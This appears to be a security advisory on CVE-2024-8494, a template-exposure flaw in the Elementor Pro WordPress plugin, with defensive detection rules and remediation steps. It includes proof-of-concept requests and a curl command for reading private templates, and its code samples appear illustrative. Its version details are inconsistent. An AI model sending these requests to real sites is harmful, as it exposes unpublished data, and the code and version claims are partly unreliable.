CVE-2024-8494

Executive Summary

CVE-2024-8494 is a Sensitive Information Exposure vulnerability in the Elementor Website Builder Pro plugin for WordPress. The flaw resides in the elementor-template shortcode, allowing authenticated attackers with at least Contributor-level access to extract the content of Private, Pending, and Draft Templates. This exposure can leak proprietary design data, internal business logic, or sensitive information embedded in templates. The vulnerability affects all versions up to and including 3.25.10, with a partial patch introduced in version 3.24.4. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. As a WordPress ecosystem issue, this vulnerability underscores the risk of shortcode-based information disclosure in content management systems.

Supply Chain & Package Security

This vulnerability is specific to the Elementor Pro plugin, distributed via the official WordPress plugin repository and premium channels. No supply chain compromise has been reported, but users are advised to verify plugin integrity via checksums or official update channels.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the confidentiality impact is limited, the exposure of draft or private templates can lead to information leakage, especially in multi-tenant WordPress installations.

Deep Dive & Mechanics

The vulnerability exists in the elementor-template shortcode, which is used to embed Elementor templates into posts or pages. The shortcode does not properly enforce access controls when rendering templates. An authenticated attacker with Contributor-level access can craft a request using the shortcode to retrieve the content of templates that are set to Private, Pending, or Draft status. This bypasses the intended visibility restrictions.

Root Cause: The shortcode handler fails to check the post status of the template before rendering its content. It relies on the template ID provided by the user without verifying if the current user has permission to view that specific template.

Attack Vector: The attacker sends a POST or GET request containing the elementor-template shortcode with a target template ID. The server processes the shortcode and returns the template content, including any sensitive data embedded within.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.24.4):

// In elementor-pro/modules/theme-builder/module.php or similar
add_shortcode( 'elementor-template', function( $atts ) {
    $template_id = $atts['id'];
    // No permission check
    return Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $template_id );
} );

Patched Code (3.24.4+):

add_shortcode( 'elementor-template', function( $atts ) {
    $template_id = $atts['id'];
    $template = get_post( $template_id );
    if ( ! $template || 'publish' !== $template->post_status ) {
        // Check if user can read private posts
        if ( ! current_user_can( 'read_private_posts' ) ) {
            return '';
        }
    }
    return Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $template_id );
} );

Note: The patch in 3.24.4 only partially addresses the issue by checking for read_private_posts capability. A full fix would require granular permission checks based on the template's visibility settings.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• WordPress instance with Elementor Pro <= 3.25.10
• Authenticated user with Contributor role or higher

Exploit Steps:

1. Log in as a Contributor.
2. Identify a target template ID (e.g., via enumeration or known IDs).
3. Craft a request using the elementor-template shortcode:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=elementor_ajax&editor_post_id=1&template_id=123
   

   Or via a page/post editor:

   POST /wp-admin/post.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   post_content=[elementor-template id="123"]&post_title=test
   

4. The response will contain the template content, including any sensitive data.

Example cURL Command:

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=elementor_ajax&editor_post_id=1&template_id=123' \
  --cookie 'wordpress_logged_in_xxx=...'

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual shortcode usage in post content, especially from low-privileged users.
• Look for requests to admin-ajax.php with action=elementor_ajax and template_id parameters.
• Audit logs for access to draft/private templates by non-admin users.

Hardening:

• Apply the partial patch by updating to Elementor Pro 3.24.4 or later.
• Implement a Web Application Firewall (WAF) rule to block shortcode injection attempts.
• Restrict Contributor-level access to only necessary capabilities.
• Use a security plugin to monitor and alert on template access anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing [elementor-template id= in the body or parameters.
  • Repeated admin-ajax.php requests with action=elementor_ajax and template_id from the same user.
• File IOCs:
  • Unusual post revisions containing shortcode references to non-public templates.
• Log IOCs:
  • WordPress debug logs showing get_builder_content_for_display calls for non-published posts.

Detection Engineering

YARA Rule

rule CVE_2024_8494_Elementor_Template_Exposure {
    meta:
        description = "Detects attempts to exploit CVE-2024-8494 via shortcode injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8494"
    strings:
        $shortcode = /\[elementor-template\s+id\s*=\s*["']?\d+["']?\]/ nocase
        $ajax_action = "elementor_ajax"
        $template_param = "template_id"
    condition:
        any of ($shortcode) or (all of ($ajax_action, $template_param))
}

Sigma Rule

title: CVE-2024-8494 - Elementor Template Shortcode Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-8494 via shortcode or AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection_shortcode:
        cs-uri-query|contains: '[elementor-template id='
    selection_ajax:
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'template_id='
    condition: selection_shortcode or selection_ajax
falsepositives:
    - Legitimate use by administrators
level: medium
tags:
    - attack.t1592
    - cve.2024.8494

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8494 - Elementor Template Shortcode Exploit"; flow:to_server,established; content:"[elementor-template id="; http_client_body; nocase; sid:1000001; rev:1; reference:cve,2024-8494;)
alert http any any -> any any (msg:"CVE-2024-8494 - Elementor AJAX Template Access"; flow:to_server,established; content:"action=elementor_ajax"; http_client_body; nocase; content:"template_id="; http_client_body; nocase; distance:0; sid:1000002; rev:1; reference:cve,2024-8494;)

Remediation & Mitigation

Immediate Actions:

1. Update Elementor Pro to version 3.24.4 or later (partial patch).
2. Monitor for the full patch in upcoming releases (expected >3.25.10).
3. Review and restrict Contributor-level user permissions.

Long-term Mitigations:

• Implement a custom shortcode wrapper that enforces strict access controls.
• Use a WordPress security plugin to monitor shortcode usage.
• Conduct regular security audits of plugin code and configurations.

Workaround:

• Disable the elementor-template shortcode via a custom plugin or functions.php:

  remove_shortcode( 'elementor-template' );
  

Valters IT
Securing Digital Frontiers